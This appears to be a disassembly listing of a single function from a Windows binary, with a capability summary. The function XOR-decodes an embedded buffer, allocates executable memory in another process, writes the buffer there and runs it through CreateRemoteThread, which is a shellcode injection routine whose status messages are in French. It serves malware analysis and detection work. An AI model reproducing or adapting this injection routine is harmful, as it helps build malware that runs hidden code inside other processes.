Function at 0x4015a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
mov edx, 0x299
lea rcx, str.ULyr
call sym.xor_encode_decode_unsigned_char__unsigned_long_long_
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x299
mov edx, 0
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x401636
lea rdx, str.chec_de_lallocation_de_mmoire_:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
jmp 0x4017cc
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], 0
mov r9d, 0x299
lea r8, str.ULyr
mov rdx, rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x4016dd
lea rdx, str.chec_de_lcriture_en_mmoire_distante_:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x38]
mov r9d, 0x8000
mov r8d, 0
mov rdx, rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov edx, 1
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0
jmp 0x4017cc
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
jne 0x401780
lea rdx, str.chec_de_la_cration_du_thread_distant_:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x38]
mov r9d, 0x8000
mov r8d, 0
mov rdx, rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 0
jmp 0x4017cc
mov rax, qword [rbp - 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, str.Shellcode_inject_et_excut_avec_succs.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
add rsp, 0x58
pop rbx
pop rbp
ret